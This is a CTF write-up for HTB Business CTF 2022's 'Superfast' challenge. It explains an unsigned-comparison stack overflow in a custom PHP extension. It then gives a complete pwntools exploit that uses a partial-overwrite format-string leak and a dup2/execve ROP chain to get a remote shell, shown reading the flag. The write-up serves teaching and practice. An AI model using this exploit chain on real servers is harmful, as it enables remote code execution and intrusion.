[HTB-Business22] Superfast Writeup


Superfast was an "easy" exploit challenge during the HTB Business CTF 2022. While rated easy I found it to be rather tricky. The challenge was based on a custom shared library loaded into php and exposed through a webserver.

Challenge setup

We were give a Docker file, which was later fixed to pin the PHP version to a specific commit, the compiled lib and also the source code as well as a build environment of the library and index.php . Let's look at the library source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
zend_string* decrypt(char* buf, size_t size, uint8_t key) {
    char buffer[64] = {0};
    if (sizeof(buffer) - size > 0) {
        memcpy(buffer, buf, size);
    } else {
        return NULL;
    }
    for (int i = 0; i < sizeof(buffer) - 1; i++) {
        buffer[i] ^= key;
    }
    return zend_string_init(buffer, strlen(buffer), 0);
}

PHP_FUNCTION(log_cmd) {
    char* input;
    zend_string* res;
    size_t size;
    long key;
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) == FAILURE) {
        RETURN_NULL();
    }
    res = decrypt(input, size, (uint8_t)key);
    if (!res) {
        print_message("Invalid input provided\n");
    } else {
        FILE* f = fopen("/tmp/log", "a");
        fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);
        fclose(f);
    }
    RETURN_NULL();
}

__attribute__((force_align_arg_pointer))
void print_message(char* p) {
    php_printf(p);
}

I've shortened the source for readibility. So basically the library suppports a new log_cmd function which takes some input, XORs it with a user defined value, and writes it to /tmp/log . Let's see how it is called from the index.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
//echo $_SERVER['HTTP_CMD_KEY'];
if (isset($_SERVER['HTTP_CMD_KEY']) && isset($_GET['cmd'])) {
    $key = intval($_SERVER['HTTP_CMD_KEY']);
    //echo $key;
    if ($key <= 0 || $key > 255) {
        http_response_code(400);
    } else {
        log_cmd($_GET['cmd'], $key);
    }
} else {
    http_response_code(400);
}

Pretty straight forward. We can supply our cmd as a get parameter and our key as a header parameter.

A subtle bug

Now the issue here is pretty subtle and hard to spot in the source code. Of course we know memcpy is dangerous. So naturally we try to send a large string, and get a segfault. But wait? Shouldn't if (sizeof(buffer) - size > 0) { ensure that our input isn't larger than the 64 byte buffer? Technically yes, but that's a really unfortunate check as size_t is an unsigned type. So the compiler sees a substraction of two unsigned values, which of course can never get negative. So the only way this substraction won't result in a value larger than 0 is if both are of equal size. And in fact we can verify this in the disassembly:

If clause in disassembly

It would've worked if the values were typecasted before as this code shows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdio.h>

int main()
{
    size_t target_size = 10;
    size_t input_size = 100;
    int result = target_size - input_size;
    printf("%d\n", result);
    if((target_size - input_size) > 0) {
        printf("Input < Target");
    } else {
        printf("Input > Target");
    }
}

Running this results in:

1
2
-90
Input < Target

Alright, so we can overflow the buffer. Now what?

Setting up the exploit

First, let's get some basic scripting going to interact with the binary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
from pwn import *
from urllib.parse import quote_plus
import time

# Exploit configs
php = ELF('./php', checksec=False)
host = '127.0.0.1'
port = 1337
context.binary = php.path

def launch_gdb(breakpoints=[], cmds=[]):
    if args.NOPTRACE or args.REMOTE:
        return
    info("Attaching Debugger")
    cmds.append('handle SIGALRM ignore')
    for b in breakpoints:
        cmds.insert(0,'b *' + str(SO_ADR+b))
    gdb.attach(php_io, gdbscript='\n'.join(cmds))
    time.sleep(2) # wait for debugger startup

if __name__ == '__main__':
    # call with DEBUG to change log level
    # call with NOPTRACE to skip gdb attach

    if not args.REMOTE:
        php_io = process(['./php', '-dextension=./php_logger.so', '-S', '0.0.0.0:1337'])
        php_io.recvuntil('started')

    def send(key, cmd):
        io = remote(host, port)
        payload = ''.join([chr(c^key) for c in cmd[0:64]]).encode()
        payload += cmd[64:]
        req = (
            f'GET /?cmd={quote_plus(payload)} HTTP/1.1\r\n'
            f'Content-Type:application/json\r\n'
            f'CMD_KEY: {str(key)}\r\n\r\n'
            )
        io.send(req.encode())
        return io

    print(send(1, b'AAAABBBB').recvall(timeout=None))

You may wonder why I don't use an http library like requests and instead build the whole HTTP request myself to pipe it through a raw socket. This will become clear later. Also note that the send method integrates the "encrypt" for the first 64 bytes to make sure we don't get xored garbage on the stack.

Back to exploitation. While we can overwrite the return address of the decrypt function and even way beyond that, we don't have anything to overwrite it with. This is where partial overwrites come into play. While we don't know any addresses we can still overwrite the last few bytes. This allows us to at least change the exeuction flow within the original binary. Since we want to get some leak, the printf function seems to be a good idea. While jumping directly to the printf linked in the got crashes the binary, we can jump to the call inside of the zif_log_cmd function at 0x1440 . Let's check in GDB what our return address overwrite looks like. To do so we add the following to our exploit script:

1
2
launch_gdb(cmds=[' b *decrypt+523', 'c'])
send(1, b'A'*0x98+b'BBBB')

Launching this gives a the following result in gdb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$rax   : 0x007f5cd245f240  →  0x0000001600000001
$rbx   : 0x005626d4a20b80  →  0x0000000000000000
$rcx   : 0x4000
$rdx   : 0x007f5cd245f240  →  0x0000001600000001
$rsp   : 0x007ffcf914f0d8  →  0x00007f5c42424242
$rbp   : 0x2
$rsi   : 0x007ffcf914f048  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x007f5cd245f260  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rip   : 0x007f5cd5e033bc  →  <decrypt+523> ret
$r8    : 0x007f5cd245f2d5  →  0xfcf914f040000000
$r9    : 0x007f5cd539e517  →  <__memcpy_ssse3+3895> movaps xmm2, XMMWORD PTR [rsi-0x18]
$r10   : 0x007f5cd5e025d5  →  "_emalloc"
$r11   : 0x007f5cd5402060  →  0xfff9d1d0fff9d008
$r12   : 0x007f5cd2414170  →  0x0000000000000000
$r13   : 0x0
$r14   : 0x007f5cd2414020  →  0x007f5cd248b820  →  0x005626d3b90068  →  <execute_ex+8120> mov r12, QWORD PTR [r14+0x8]
$r15   : 0x007f5cd248b820  →  0x005626d3b90068  →  <execute_ex+8120> mov r12, QWORD PTR [r14+0x8]
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffcf914f0d8│+0x0000: 0x00007f5c42424242         ← $rsp
0x007ffcf914f0e0│+0x0008: 0x007ffcf914f160  →  0x0000000000000000
0x007ffcf914f0e8│+0x0010: 0x007f5cd2414170  →  0x0000000000000000
0x007ffcf914f0f0│+0x0018: 0x005626d4a20b80  →  0x0000000000000000
0x007ffcf914f0f8│+0x0020: 0x0000000000000001
0x007ffcf914f100│+0x0028: 0x000000000000009c
0x007ffcf914f108│+0x0030: 0x007f5cd245f0d8  →  "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@[...]"
0x007ffcf914f110│+0x0038: 0x0000000000000002
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f5cd5e033af <decrypt+510>    mov    rax, QWORD PTR [rsp+0x60]
0x7f5cd5e033b4 <decrypt+515>    nop
0x7f5cd5e033b5 <decrypt+516>    add    rsp, 0xb8
→ 0x7f5cd5e033bc <decrypt+523>    ret

This is super nice since we see our ret is overwritten with 4 B's and rdi still points to our input. This means we should get an easy format string!

Getting some leaks

So let's try our format string and use the following payload:

1
2
3
4
p = b'%p ' * 25
p += b'A' * (0x98 - len(p))
p += b'\x40'
print(send(1, p).recvall(timeout=None))

As you can see it's enough to overwrite the very last byte of the return address as the return already goes into the right address space. Doing so, we get the following leaks:

1
0x7fffe92a0688 0x7f0c87c5a300 0x4000 0x7f0c87c5a395 0x7f0c8ab06517 0x564967220b80 0x7f0c87c5a320 0x2 0x7f0c8b56b445 0x7fffe92a07a0 0x7f0c87c14170 0x564967220b80 0x1 0x99 0x7f0c87c5a0d8 0x2 0x11ca5664fbeed00 0x2

Mapping this to the memory map of our process we can see an address of the php_logger.so and an adress of php itself as well as a stack address. But unlucky for us no libc leak.

At this point I was stuck for quite a while as I tried to make use of the usual %10$p format string modifier to read/write other values. But for some reason, php or zend or whatever doesn't support this modifier and so we are stuck with whatever values we can reach naturally. But we can calculate the base addresses of both the library and php itself. This means we probably need to to a classic ropchain. Looking at the gadgets of the logger library shows us nothing of use really, so let's try to get a ropchain in php going. First, let's parse the leaks:

1
2
3
4
5
6
7
p = b'%p ' * 25
p += b'A' * (0x98 - len(p)) # padding
p += b'\x40'

leaks = send(1, p).recvall(timeout=None).split()
php.address = int(leaks[22], 16) -  0x1420b80
success(f"PHP @ {php.address:012x}")

Neat! Now we have to think about what kind of ropchain we can even build and use.

Exploitation fails

At this point I was stuck again for what felt like forever. Because how do we exploit this? We could call execve(/bin/sh) as one does in these cases. But of course we have no access to stdin or stdout so the server will just hang and that's it. What I tried was writing a php shell to the webdirectory leveraging the fopen and fgets already linked in the php_logger.so, and while it worked locally, it didn't on the remote. As I found out after the ctf, the user had no write permission in the web folder. [Insert sad hacker noises].

And that's where I was stuck and also why we didn't solve this challenge until after the ctf. After some sleep and talking to friends and colleagues, the solution was quite obvious: We can just call dup to duplicate stdin and stdout to the file descriptor of the socket which has to be opened by php to pipe the response into. And after that we can indeed just call execve(/bin/sh) and interact with the binary as usual. And that's also the reason why I didn't start off using requests or urllib as they will not allow us to interact with the socket and just hang waiting for a server response.

PHP Ropchain

Now that we know what we have to do it's actually quite easy. I build my ropchain manually using ropper and copying adresses around. But after the CTF someone in Discord showed me that pwntools offers a super nice (and supringsingly well working) wrapper for that. And since my writeups are supposed to be teaching new stuff, why not use that. So I rewrote my ropchain using this fancy pwntools module:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
r = ROP(php)
r.call('dup2', [4, 0])
r.call('dup2', [4, 1])
r.call('dup2', [4, 2])
binsh = next(php.search(b"/bin/bash\x00"))
r.execve(binsh, 0, 0)

p = b'A'*0x98 # padding
p += r.chain()
send(1, p).interactive()

For this to work you have to load the correct binary as an ELF object (in this case I did so at the start of the script). And that's id. Now we can start our remote instance, copy IP and Port into the header and call ./exploit.py REMOTE (In this case running against the local docker instance provided by the challenge):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ./writeup.py REMOTE
[*] '/media/sf_vmexchange/ctfyo/pwn_superfast/challenge/php'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    Packer:   Packed with UPX
[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Receiving all data: Done (354B)
[*] Closed connection to 127.0.0.1 port 1337
[+] PHP @ 55b935400000
[*] Loaded 322 cached gadgets for './php'
[*] Using sigreturn for 'SYS_execve'
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
core
flag.txt
index.php
php_logger.so
start.sh
$ cat flag.txt
HTB{rophp1ng_4r0und_th3_st4ck!}
$ 👍

Too bad we didn't solve this one during the CTF, but to be fair: Even in hindsight I wouldn't have rated this one as easy. But well, you never stop learning!

Complete pwnscript

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Exploit configs
php = ELF('./php', checksec=False)
host = '127.0.0.1'
port = 1337
context.binary = php.path # Import for ROP() to work

def launch_gdb(breakpoints=[], cmds=[]):
    if args.NOPTRACE or args.REMOTE:
        return
    info("Attaching Debugger")
    cmds.append('handle SIGALRM ignore')
    for b in breakpoints:
        cmds.insert(0,'b *' + str(SO_ADR+b))
    gdb.attach(php_io, gdbscript='\n'.join(cmds))
    time.sleep(2) # wait for debugger startup

if __name__ == '__main__':
    # call with DEBUG to change log level
    # call with NOPTRACE to skip gdb attach
    # call with REMOTE to skip local process creation and disable launch_gdb()

    if not args.REMOTE:
        php_io = process(['./php', '-dextension=./php_logger.so', '-S', '0.0.0.0:1337'])
        php_io.recvuntil('started') # Wait for local server to spawn

    def send(key, cmd):
        io = remote(host, port)
        payload = ''.join([chr(c^key) for c in cmd[0:64]]).encode()
        payload += cmd[64:]
        req = (
            f'GET /?cmd={quote_plus(payload)} HTTP/1.1\r\n'
            f'Content-Type:application/json\r\n'
            f'CMD_KEY: {str(key)}\r\n\r\n'
            )
        io.send(req.encode())
        return io

    p = b'%p ' * 25
    p += b'A' * (0x98 - len(p)) # padding
    p += b'\x40'

    leaks = send(1, p).recvall(timeout=None).split()
    php.address = int(leaks[22], 16) -  0x1420b80
    success(f"PHP @ {php.address:012x}")

    r = ROP(php)
    r.call('dup2', [4, 0])
    r.call('dup2', [4, 1])
    r.call('dup2', [4, 2])
    binsh = next(php.search(b"/bin/bash\x00"))
    r.execve(binsh, 0, 0)

    p = b'A'*0x98 # padding
    p += r.chain()
    send(1, p).interactive()